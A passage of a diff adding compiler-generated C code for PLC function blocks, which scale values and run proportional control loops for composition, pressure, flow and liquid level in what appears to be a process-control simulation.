*data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + 